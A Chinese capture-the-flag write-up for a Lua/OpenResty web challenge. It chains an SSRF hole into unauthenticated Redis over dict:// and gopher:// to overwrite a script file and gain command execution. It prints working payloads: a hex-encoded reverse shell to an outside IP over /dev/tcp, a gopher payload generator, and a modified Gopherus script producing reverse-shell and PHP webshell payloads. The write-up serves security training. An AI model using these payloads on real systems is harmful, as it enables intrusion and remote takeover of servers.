软件安全攻防赛Lua Web项目
lua项目中script文件源码如下
##LUA_START##
-- 引入cURL库和Redis库
local curl = require("cURL")
local redis = require("resty.redis")
-- 读取请求体
ngx.req.read_body()
-- 获取请求的URI参数
local args = ngx.req.get_uri_args()
-- 获取URL参数
local url = args.url
-- 如果URL参数缺失,返回错误信息
if not url then
ngx.say("URL parameter is missing!")
return
end
-- 创建Redis连接对象
local red = redis:new()
-- 设置Redis连接超时时间为1000毫秒
red:set_timeout(1000)
-- 连接到Redis服务器
local ok, err = red:connect("127.0.0.1", 6379)
-- 如果连接失败,返回错误信息
if not ok then
ngx.say("Failed to connect to Redis: ", err)
return
end
-- 从Redis中获取缓存的响应
local res, err = red:get(url)
-- 如果找到缓存的响应且不为空,返回缓存的响应
if res and res ~= ngx.null then
ngx.say(res)
return
end
-- 创建cURL对象并设置请求参数
local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5
}
-- 初始化响应体存储表
local response_body = {}
-- 设置cURL的写入函数,将响应数据插入到response_body表中
c:setopt_writefunction(table.insert, response_body)
-- 执行cURL请求,并捕获可能的错误
local ok, err = pcall(c.perform, c)
-- 如果请求失败,返回错误信息并关闭cURL对象
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
return
end
-- 关闭cURL对象
c:close()
-- 将响应体表转换为字符串
local response_str = table.concat(response_body)
-- 将响应字符串存储到Redis中,设置过期时间为3600秒
local ok, err = red:setex(url, 3600, response_str)
-- 如果存储失败,返回错误信息
if not ok then
ngx.say("Failed to save response in Redis: ", err)
return
end
-- 返回响应字符串
ngx.say(response_str)
##LUA_END##
这段代码的主要功能是从Redis缓存中获取HTTP响应,如果缓存中没有,则通过cURL发送HTTP请求获取响应,将响应缓存到Redis中,并返回响应内容。由于http网址我们可以自己控制,存在SSRF漏洞。
main.lua源码如下
-- 定义一个函数用于读取文件内容
local function read_file(filename)
-- 打开文件以只读模式
local file = io.open(filename, "r")
-- 如果文件打开失败,打印错误信息并返回nil
if not file then
print("Error: Could not open file " .. filename)
return nil
end
-- 读取文件的全部内容
local content = file:read("*a")
-- 关闭文件
file:close()
-- 返回文件内容
return content
end
-- 定义一个函数用于执行Lua代码块
local function execute_lua_code(script_content)
-- 使用正则表达式从脚本内容中提取Lua代码块
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
-- 如果找到有效的Lua代码块
if lua_code then
-- 加载Lua代码块
local chunk, err = load(lua_code)
-- 如果加载成功
if chunk then
-- 使用pcall执行Lua代码块,捕获可能的错误
local success, result = pcall(chunk)
-- 如果执行失败,打印错误信息
if not success then
print("Error executing Lua code: ", result)
end
else
-- 如果加载失败,打印错误信息
print("Error loading Lua code: ", err)
end
else
-- 如果没有找到有效的Lua代码块,打印错误信息
print("Error: No valid Lua code block found.")
end
end
-- 主函数
local function main()
-- 定义要读取的文件名
local filename = "/scripts/visit.script"
-- 读取文件内容
local script_content = read_file(filename)
-- 如果文件内容读取成功,执行Lua代码
if script_content then
execute_lua_code(script_content)
end
end
-- 调用主函数
main()
主函数通过读取script文件,把##LUA_START##(.-)##LUA_END##
包裹的内容当作lua脚本运行
nginx.conf
events {
worker_connections 1024;
}
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
keepalive_timeout 65;
server {
listen 80;
server_name localhost;
location / {
root html;
index index.html;
}
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}
lua_code_cache off;
}
}
这段配置主要是用来处理 HTTP 请求,默认提供静态文件服务,并且通过 Lua 脚本动态处理 /visit 路径的请求。如果你使用的是 OpenResty,它会让你轻松在 NGINX 中运行 Lua 代码。
看了一下redis配置文件发现本地访问redis无需密码
# When protected mode is on and the default user has no password, the server
# only accepts local connections from the IPv4 address (127.0.0.1), IPv6 address
# (::1) or Unix domain sockets.
#
# By default protected mode is enabled. You should disable it only if
# you are sure you want clients from other hosts to connect to Redis
# even if no authentication is configured.
protected-mode yes
docker启动文件如下
FROM openresty/openresty:bionic
ARG RESTY_LUAROCKS_VERSION="3.11.0"
RUN DEBIAN_FRONTEND=noninteractive apt-get update \
&& DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
curl \
libcurl4-openssl-dev \
make \
unzip \
wget \
lsb-release \
gpg \
&& cd /tmp \
&& curl -fSL https://luarocks.github.io/luarocks/releases/luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz -o luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
&& tar xzf luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz \
&& cd luarocks-${RESTY_LUAROCKS_VERSION} \
&& ./configure \
--prefix=/usr/local/openresty/luajit \
--with-lua=/usr/local/openresty/luajit \
--with-lua-include=/usr/local/openresty/luajit/include/luajit-2.1 \
&& make build \
&& make install \
&& cd /tmp \
&& rm -rf luarocks-${RESTY_LUAROCKS_VERSION} luarocks-${RESTY_LUAROCKS_VERSION}.tar.gz
ENV LUA_PATH="/usr/local/openresty/site/lualib/?.ljbc;/usr/local/openresty/site/lualib/?/init.ljbc;/usr/local/openresty/lualib/?.ljbc;/usr/local/openresty/lualib/?/init.ljbc;/usr/local/openresty/site/lualib/?.lua;/usr/local/openresty/site/lualib/?/init.lua;/usr/local/openresty/lualib/?.lua;/usr/local/openresty/lualib/?/init.lua;./?.lua;/usr/local/openresty/luajit/share/luajit-2.1/?.lua;/usr/local/share/lua/5.1/?.lua;/usr/local/share/lua/5.1/?/init.lua;/usr/local/openresty/luajit/share/lua/5.1/?.lua;/usr/local/openresty/luajit/share/lua/5.1/?/init.lua"
ENV LUA_CPATH="/usr/local/openresty/site/lualib/?.so;/usr/local/openresty/lualib/?.so;./?.so;/usr/local/lib/lua/5.1/?.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so;/usr/local/lib/lua/5.1/loadall.so;/usr/local/openresty/luajit/lib/lua/5.1/?.so"
RUN /usr/local/openresty/luajit/bin/luarocks install Lua-cURL CURL_INCDIR=/usr/include/x86_64-linux-gnu/ && \
opm get openresty/lua-resty-redis
COPY nginx.conf /usr/local/openresty/nginx/conf/nginx.conf
COPY index.html /usr/local/openresty/nginx/html/index.html
COPY main.lua /usr/local/openresty/nginx/lua/main.lua
RUN mkdir /scripts
COPY scripts/* /scripts
RUN chmod +x -R /scripts
RUN curl -fsSL https://packages.redis.io/gpg | gpg --dearmor -o /usr/share/keyrings/redis-archive-keyring.gpg \
&& echo "deb [signed-by=/usr/share/keyrings/redis-archive-keyring.gpg] https://packages.redis.io/deb $(lsb_release -cs) main" | tee /etc/apt/sources.list.d/redis.list \
&& apt update \
&& apt install redis language-pack-id -y
COPY redis.conf /redis.conf
COPY start.sh /
RUN chmod +x /start.sh
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
EXPOSE 80
CMD ["/start.sh"]
可以看到各个项目文件的位置
docker本地搭建启动后页面如下,可以访问网址
用redis-over-gopher一直打不通测试发现gopher一直timeout用不了,
sec_tools/redis-over-gopher at master · firebroo/sec_tools · GitHub
用dict测试访问redis端口可以
dict://127.0.0.1:6379/info
之后发现可以通过写入script文件来代码执行
lua执行系统命令函数是
os.execute()
dict协议打法
写文件visit.script覆盖,写入的时候可以用16进制直接写入,防止有些特殊字符会出错
dict://127.0.0.1:6379/flushall
dict://127.0.0.1:6379/config:set:dir:/scripts
dict://127.0.0.1:6379/config:set:dbfilename:visit.script
dict://127.0.0.1:6379/set:a:"\x23\x23\x4c\x55\x41\x5f\x53\x54\x41\x52\x54\x23\x23\x6f\x73\x2e\x65\x78\x65\x63\x75\x74\x65\x28\x22\x62\x61\x73\x68\x20\x2d\x63\x20\x20\x27\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x32\x34\x2e\x32\x32\x30\x2e\x33\x37\x2e\x31\x37\x33\x2f\x32\x33\x33\x33\x20\x30\x3e\x26\x31\x27\x22\x29\x23\x23\x4c\x55\x41\x5f\x45\x4e\x44\x23\x23"
dict://127.0.0.1:6379/save
注意:由于redis save保存的是二进制信息会有版本之类的信息(脏数据),所以单纯的写入并不能执行会报错。题目中的读取是有##LUA_START## ##LUA_END##
包裹的,所以才能准确执行。
lua回显打法
如果不出网可以这样回显,把lua命令执行的结果到浏览器中
local handle = io.popen('/readflag')
local output = handle:read("*a")
handle:close()
ngx.say("<html><body>")
ngx.say("<h1>Command Output:</h1>")
ngx.say("<pre>" .. ngx.escape_html(output) .. "</pre>")
编写脚本 bp上传二次编码即可
import urllib.parse
host = "127.0.0.1:6379"
test =\
r"""set margin "\n\n\n##LUA_START##ngx.say((function() local f = io.popen('/readflag');local r = f:read('*all');f:close();return r end)())##LUA_END##\n\n\n"
config set dir /scripts/
config set dbfilename "visit.script"
save"""
tmp = urllib.parse.quote(test)
new = tmp.replace("%0A","%0D%0A")
a="gopher://"+host+"/_"+new
result = urllib.parse.quote(a)
print(result)
当然我们修改gopherus工具的/scripts/Redis.py来生成payload写入文件(原来的功能是写入计划任务反弹shell)
import urllib
def Redis():
def get_Redis_ReverseShell():
file="visit.script"
dir="/scripts"
cmd = '##LUA_START##os.execute("bash -c \'sh -i &>/dev/tcp/ip/port 0>&1\'")##LUA_END##'
len_cmd = len(cmd) + 5
payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$""" + str(len_cmd) + """\r
""" + cmd + """
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(dir)) + """\r
""" + dir + """\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$"""+str(len(file))+"""\r
"""+file+""""\r
*1\r
$4\r
save\r
"""
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "\033[93m" +"\nYour gopher link is ready to get Reverse Shell: \n"+ "\033[0m"
print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
print "\033[01m" +"\nBefore sending request plz do `nc -lvp 1234`"+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
def get_Redis_PHPShell():
web_root_location = raw_input("\033[96m" +"\nGive web root location of server (default is /var/www/html): "+ "\033[0m")
php_payload = raw_input("\033[96m" +"Give PHP Payload (We have default PHP Shell): "+ "\033[0m")
default = "<?php system($_GET['cmd']); ?>"
if(not php_payload):
php_payload = default
if(not web_root_location):
web_root_location = "/var/www/html"
payload = """*1\r
$8\r
flushall\r
*3\r
$3\r
set\r
$1\r
1\r
$""" + str(len(php_payload) + 4) + """\r
""" + php_payload + """
\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$""" + str(len(web_root_location)) + """\r
""" + web_root_location + """\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*1\r
$4\r
save\r
"""
finalpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
print "\033[93m" +"\nYour gopher link is Ready to get PHP Shell: \n"+ "\033[0m"
print "\033[04m" +"gopher://127.0.0.1:6379/_" + finalpayload+ "\033[0m"
print "\033[01m"+"\nWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. "+ "\033[0m"
print "\n" + "\033[41m" +"-----------Made-by-SpyD3r-----------"+"\033[0m"
print "\033[01m"+"\nReady To get SHELL\n"+ "\033[0m"
what = raw_input("\033[35m" +"What do you want?? (ReverseShell/PHPShell): "+ "\033[0m")
what = what.lower()
if("rev" in what):
get_Redis_ReverseShell()
elif("php" in what):
get_Redis_PHPShell()
else:
print "\033[93m" +"Plz choose between those two"+ "\033[0m"
exit()
运行gopherus
python2 gopherus.py --exploit redis
之后我们直接传进去即可反弹shell成功
再次用visit访问url就会运行新写入的lua脚本反弹shell